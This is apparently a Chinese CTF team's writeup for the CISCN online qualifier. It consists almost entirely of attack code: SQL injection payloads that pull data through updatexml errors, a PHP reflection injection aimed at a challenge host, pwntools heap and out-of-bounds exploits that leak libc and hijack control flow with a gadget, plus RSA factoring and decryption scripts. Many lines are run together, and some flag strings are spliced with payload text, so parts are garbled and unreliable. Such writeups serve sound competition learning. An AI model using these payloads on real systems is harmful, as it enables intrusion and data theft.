红色代码战队 第十四届全国大学生信息安全竞赛-线上赛Writeup

security

admin')and (select id from flag)--+

admin')and(select*from(select*fromflagasajoinflagasbusing(id,no))asc)--+

CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-J admin')and updatexml(1,concat(0x1,((select03165c24-8697-4a1f-b41f-af4d00def40c` fromflag))),1)--+

admin')and updatexml(1,concat(0x1,mid((select03165c24-8697-4a1f-b41f-af4d00def40c` fromflag),10,32)),1)--+

CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-JwK-a5sVT-0qwD2-Ys9hF-JchKZ-}

flag ：CISCN{CvpwK-a5sVT-0qwD2-Ys9hF-JchKZ-}

#include<iostream>#include<Windows.h>using namespace std;UINT sz=0;unsigned char ida_chars[] ={0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84,0x65, 0xC2,0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E,0x36, 0x4F,0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D,0x42, 0xC7,0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98,0x3F};unsigned char S[256];unsigned char T[256];string key = "12345678";PVOID ReadFileFunc(){HANDLE hFile = CreateFile(L"F:\\reserve\\virus_such\\恶意代码分析实战\\RCData101.bin", GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE |FILE_SHARE_READ, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);sz = GetFileSize(hFile, 0);PVOID buf = malloc(sz);DWORD rsize = 0;ReadFile(hFile, buf, sz, &rsize, 0);CloseHandle(hFile);return buf;}void decrypt2(){for(int i=0;i<39;i+=8)for (int j = 0; j < 8; j++){if (i + j == 39)break;ida_chars[i + j] = ida_chars[i + j] ^ key[j];}for (int i = 0; i < 39; i += 3){ida_chars[i + 1] = ida_chars[i + 1] ^ida_chars[i];ida_chars[i + 2] = ida_chars[i + 2] ^ida_chars[i + 1];ida_chars[i] = ida_chars[i] ^ ida_chars[i +2];}}void R1(){for (int i = 0; i != 256; i++){S[i] = i;T[i] = key[i % 8];}int v9 = 0;for (int i = 0; i != 256; i++){int tmp = S[i];v9 = (tmp + v9 + T[i]) % 256;S[i] = S[v9];S[v9] = tmp;}}void decrypt1(){R1();int count = 0x27;int i = 0;int v4 = 0;int v3 = 0;int v5=0;int index=0;while (count){--count;v4 = (v4 + 1) % 256;v5 = S[v4];v3 = (v3 + S[v4]) % 256;S[v4] = S[v3];S[v3] = v5;ida_chars[index++] ^= S[(v5 + S[v4])%256];}for (int i = 0; i < 0x27; i++)cout << (char)ida_chars[i];}VOID WriteFileFunc(PVOID buf){HANDLE hFile = CreateFile(L"F:\\reserve\\virus_such\\恶意代码分析实战\\decrypt.bin", GENERIC_READ | GENERIC_WRITE,FILE_SHARE_WRITE |FILE_SHARE_READ, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);DWORD rsize;WriteFile(hFile, buf, sz, &rsize, 0);}int main(){/*PVOID p = ReadFileFunc();decrypt((PCHAR)p);WriteFileFunc(p);*///unsigned key=decrypt1();//cout << key;decrypt2();decrypt1();

flag为CISCN{6654d84617f627c88846c172e0f4d46c}

http://124.70.27.139:26380/.index.php.swo

$rc=$_GET["rc"];  $rb=$_GET["rb"];  $ra=$_GET["ra"];  $rd=$_GET["rd"];$method= new $rc($ra, $rb); var_dump($method->$rd());

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

http://124.70.27.139:26380/?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

flag CISCN{io0P0-UDS1r-Unzhh-051Rs-2auEk-}

from pwn import *context.arch = 'amd64'context.log_level='debug'p=process('./pwn')libc=ELF('./libc-2.27.so')#p=remote(124.70.48.138',23622)def add(idx,size):p.recvuntil('Your choice: ')p.sendline('1')p.recvuntil('Index: ')p.sendline(str(idx))p.recvuntil('Size: ')p.sendline(str(size))def edit(idx,content):p.recvuntil('Your choice: ')p.sendline('2')p.recvuntil('Index: ')p.sendline(str(idx))p.recvuntil('Content: ')p.sendline(content)p.interactive()

CISCN{bD3W5-OYKJ5-A4LPk-yh84S-n2BQb-}

from pwnimport * context.log_level = Truep = remote(" 124.70.48.138", 23675)def menu(choice):    io.recvuntil("choice:    ") io.sendline(str(choice)) menu(2) io.recvuntil(        "Index:  ") io.sendline("256") menu(2) io.recvuntil("Index:  ") io    .sendline("256") menu(1) io.recvuntil("Index:  ")io.send(b "\xe7\xff\xff\xff\xff\xff\xff\xff") io.recvuntil("Result:  ")libc_base = int(io.recvline()[: -1], 16) - 0x80aa0 log.info(        "libc_base:  " + hex(libc_base)) environ_addr = 0x3ee098 +    libc_baseexit_hook = libc_base + 0x619f68 gadget_addr = libc_base + 0x10a41clog.info("environ_addr:  " + hex(environ_addr)) menu(1)io.recvuntil("Index:  ") io.send(b "\xf5\xff\xff\xff\xff\xff\xff\xff") io    .recvuntil("Result:    ")base_addr = int(io.recvline()[: -1], 16) - 0x202008 log.info(    "base_addr:  " + hex(base_addr))menu(1) io.recvuntil("Index:  ")io.send(p64((environ_addr - base_addr - 0x202060) //  8)) io.recvuntil("Result:  ")            stack_addr = int(io.recvline()[: -1], 16) - (                0x7fffffffdea8 - 0 x7fffffffdd88) log.info(                "stack_addr:  " + hex(stack_addr)) menu(2) io.recvuntil(                "Index:  ") io.sendline(str((stack_addr - (base_addr +                        0x202060)) //  8))                    io.send(p64(gadget_addr)) io.interactive()

CISCN{XIli4-6MXJq-gSgfL-w4rZb-2RMJT-}

https://www.jianshu.com/p/42cb026ce541

from z3 import * from hashlib import md5 r = [[0x00, 0x00, 0x00, 0x01],[0x01, 0x00,0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00, 0x00], [0x01, 0x00,0x01, 0x00]] c = [[0x00, 0x00, 0x02, 0x00,0x02], [0x00,0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00], [0x00, 0x01, 0x00,0x00, 0x01]] s = Solver() m = [[Int("x%d%d"%(i, j)) for iin range(5)] for j in range(5)] print(m)  s.add(m[2][2] == 4) s.add(m[3][3] == 3)  for i in range(5):   forj in range(5):    s.add(m[i][j] >= 1)    s.add(m[i][j] <= 5)   for i in range(5):   forj in range(5):    for k in range(j):     s.add(m[i][j] != m[i][k])   for j in range(5):   fori in range(5):   for k in range(i):       s.add(m[i][j]!= m[k][j]) for i in range(5):   forj in range(4):    if r[i][j] == 1:      s.add(m[i][j] > m[i][j+1])    elif r[i][j] == 2:      s.add(m[i][j] < m[i][j+1])   for i in range(4):   forj in range(5):    if c[i][j] == 2:      s.add(m[i][j] > m[i+1][j])    elif c[i][j] == 1:      s.add(m[i][j] < m[i+1][j]) answer = s.check() print(answer)  if answer == sat:  print(s.model())   m =s.model()   F =[]   fori in m:    for j in i:      F.append(m[j].as_long())    fori in range(len(F)):     F[i] += 0x30  F[12] = 0x30  F[18] = 0x30   F =bytes(F)  print(F)  print(md5(F).hexdigest())

http://www.sendsms.cn/pdu/

import osfrom PIL import Image def analyseImage(path):   im = Image.open(path)   results = {       'size': im.size,       'mode': 'full',    }   try:       while True:           if im.tile:                tile = im.tile[0]                update_region = tile[1]                update_region_dimensions =update_region[2:]                if update_region_dimensions !=im.size:                    results['mode'] = 'partial'                    break           im.seek(im.tell() + 1)   except EOFError:       pass   return results def processImage(path):   mode = analyseImage(path)['mode']    im = Image.open(path)     i= 0    p= im.getpalette()   last_frame = im.convert('RGBA')    try:       while True:           print("saving %s (%s) frame %d, %s %s" % (path, mode, i,im.size, im.tile))            if not im.getpalette():                im.putpalette(p)            new_frame = Image.new('RGBA', im.size)           if mode == 'partial':                new_frame.paste(last_frame)            new_frame.paste(im, (0, 0), im.convert('RGBA'))           new_frame.save('res/%d.png' % i, 'PNG')            i += 1           last_frame = new_frame           im.seek(im.tell() + 1)   except EOFError:       pass  def main():   processImage('res.gif')  if __name__ == "__main__":    main()

from PIL import Imagenp = Image.new('L', (400, 400))for i in range(382):    p= Image.open(str(i) + '.png').convert("RGB")   A, B = p.size   for y in range(B):       for x in range(A):           if p.getpixel((x, y)) == (233, 233, 233):                np.putpixel((y, x), 255)    np.save('res/' + str(i) + '.png')

p3 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147 pbits = 512kbits = pbits - p3.nbits()print p3.nbits()p3 = p3 << kbits PR.<x> = PolynomialRing(Zmod(n))f = x + p3x0 = f.small_roots(X=2^kbits, beta=0.4)[0]print "x: %s" %hex(int(x0)) p = p3+x0print "p: ", hex(int(p))assert n % p == 0q = n/int(p) print "q: ", hex(int(q)

b’\nO wild West Wind, thou breath of Autumn's being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, and black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to their dark wintry bed\n’

flag：CISCN{3943e8843a19149497956901e5d98639}